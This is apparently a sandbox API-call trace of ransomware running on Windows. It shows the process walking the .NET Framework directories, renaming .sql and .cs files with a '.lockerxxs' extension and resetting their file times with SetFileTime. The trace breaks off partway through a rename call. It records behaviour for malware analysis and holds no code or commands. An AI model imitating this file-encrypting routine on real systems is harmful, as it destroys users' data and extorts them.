0 [0138.783] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.783] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.785] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.785] CloseHandle (hObject=0x90) returned 1 [0138.800] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.800] CloseHandle (hObject=0x8c) returned 1 [0138.800] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallcommon.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallCommon.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallcommon.sql.lockerxxs")) returned 1 [0138.807] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.807] CloseHandle (hObject=0x8c) returned 1 [0138.807] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallmembership.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallMembership.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallmembership.sql.lockerxxs")) returned 1 [0138.812] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.812] CloseHandle (hObject=0x8c) returned 1 [0138.812] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallpersistsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallPersistSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallpersistsqlstate.sql.lockerxxs")) returned 1 [0138.824] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.824] CloseHandle (hObject=0x8c) returned 1 [0138.824] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallpersonalization.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallPersonalization.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallpersonalization.sql.lockerxxs")) returned 1 [0138.829] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.829] CloseHandle (hObject=0x8c) returned 1 [0138.829] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UnInstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallprofile.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UnInstallProfile.SQL.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallprofile.sql.lockerxxs")) returned 1 [0138.834] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.834] CloseHandle (hObject=0x8c) returned 1 [0138.834] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallroles.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallRoles.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallroles.sql.lockerxxs")) returned 1 [0138.839] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.839] CloseHandle (hObject=0x8c) returned 1 [0138.839] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallsqlstate.sql.lockerxxs")) returned 1 [0138.843] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.843] CloseHandle (hObject=0x8c) returned 1 [0138.843] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallsqlstatetemplate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallSqlStateTemplate.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallsqlstatetemplate.sql.lockerxxs")) returned 1 [0138.847] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.848] CloseHandle (hObject=0x8c) returned 1 [0138.848] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallwebeventsqlprovider.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallWebEventSqlProvider.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallwebeventsqlprovider.sql.lockerxxs")) returned 1 [0138.850] lstrcmpA (lpString1=".", lpString2="v3.0") returned -1 [0138.850] lstrcmpA (lpString1="..", lpString2="v3.0") returned -1 [0138.850] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0138.851] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.851] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.851] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.851] lstrcmpA (lpString1=".", lpString2="Windows Communication Foundation") returned -1 [0138.851] lstrcmpA (lpString1="..", lpString2="Windows Communication Foundation") returned -1 [0138.852] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.853] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.855] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.855] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.857] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.857] CloseHandle (hObject=0x90) returned 1 [0138.857] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0138.857] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0138.858] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x225e5094, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015ae, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.858] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.859] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.859] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.861] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.861] CloseHandle (hObject=0x94) returned 1 [0138.865] lstrcmpA (lpString1=".", lpString2="WPF") returned -1 [0138.865] lstrcmpA (lpString1="..", lpString2="WPF") returned -1 [0138.865] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\WPF\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.868] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.868] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.868] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.869] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0138.869] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0138.869] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\WPF\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23291801, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.870] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.870] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.870] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.872] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.872] CloseHandle (hObject=0x94) returned 1 [0138.875] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.875] CloseHandle (hObject=0x90) returned 1 [0138.876] lstrcmpA (lpString1=".", lpString2="XamlViewer") returned -1 [0138.876] lstrcmpA (lpString1="..", lpString2="XamlViewer") returned -1 [0138.876] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\WPF\\XamlViewer\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x95bb5a5b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x95bb5a5b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.877] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.877] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.877] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.881] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.881] CloseHandle (hObject=0x94) returned 1 [0138.882] lstrcmpA (lpString1=".", lpString2="v3.5") returned -1 [0138.882] lstrcmpA (lpString1="..", lpString2="v3.5") returned -1 [0138.882] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x95314a8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x95314a8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0138.885] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.886] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.886] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.886] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0138.886] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0138.886] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812212b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812212b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.886] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.887] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.887] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.888] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.888] CloseHandle (hObject=0x90) returned 1 [0138.890] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.890] CloseHandle (hObject=0x8c) returned 1 [0138.894] lstrcmpA (lpString1=".", lpString2="MSBuild") returned -1 [0138.894] lstrcmpA (lpString1="..", lpString2="MSBuild") returned -1 [0138.894] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\MSBuild\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812212b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812212b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x50156c, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.895] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.895] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.895] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.899] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.899] CloseHandle (hObject=0x90) returned 1 [0138.900] lstrcmpA (lpString1=".", lpString2="SQL") returned -1 [0138.900] lstrcmpA (lpString1="..", lpString2="SQL") returned -1 [0138.900] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\SQL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x50156c, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.900] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.900] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.900] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.901] lstrcmpA (lpString1=".", lpString2="EN") returned -1 [0138.901] lstrcmpA (lpString1="..", lpString2="EN") returned -1 [0138.901] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\SQL\\EN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81247412, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81247412, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.901] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.901] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.901] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.905] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.905] CloseHandle (hObject=0x94) returned 1 [0138.906] lstrcmpA (lpString1=".", lpString2="v4.0.30319") returned -1 [0138.906] lstrcmpA (lpString1="..", lpString2="v4.0.30319") returned -1 [0138.907] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcde33fe0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcde33fe0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0138.908] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.912] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.912] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.912] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0138.912] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0138.912] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a3f8e80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x593606c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x593606c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.915] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.915] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.915] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.917] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.917] CloseHandle (hObject=0x90) returned 1 [0138.919] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.919] CloseHandle (hObject=0x8c) returned 1 [0138.921] lstrcmpA (lpString1=".", lpString2="ASP.NETWebAdminFiles") returned -1 [0138.921] lstrcmpA (lpString1="..", lpString2="ASP.NETWebAdminFiles") returned -1 [0138.921] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e99fe20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xd5c5a660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c5a660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.923] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.924] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.924] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.925] lstrcmpA (lpString1=".", lpString2="AppConfig") returned -1 [0138.925] lstrcmpA (lpString1="..", lpString2="AppConfig") returned -1 [0138.925] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f09dec0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.927] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.927] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.927] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.929] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.929] CloseHandle (hObject=0x94) returned 1 [0138.929] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0138.929] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0138.930] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f09dec0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x5015b6, cFileName=".", cAlternateFileName="")) returned 0x502698 [0138.931] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.932] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.932] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.933] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.933] CloseHandle (hObject=0x98) returned 1 [0138.935] lstrcmpA (lpString1=".", lpString2="App_Code") returned -1 [0138.935] lstrcmpA (lpString1="..", lpString2="App_Code") returned -1 [0138.935] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6b614580, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b614580, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.937] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.937] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.937] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.938] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.939] CloseHandle (hObject=0x94) returned 1 [0138.941] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.941] CloseHandle (hObject=0x94) returned 1 [0138.941] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs.lockerxxs")) returned 1 [0138.945] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.945] CloseHandle (hObject=0x94) returned 1 [0138.945] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\navigationbar.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\navigationbar.cs.lockerxxs")) returned 1 [0138.948] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.948] CloseHandle (hObject=0x94) returned 1 [0138.948] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs.lockerxxs")) returned 1 [0138.951] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.952] CloseHandle (hObject=0x94) returned 1 [0138.952] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" 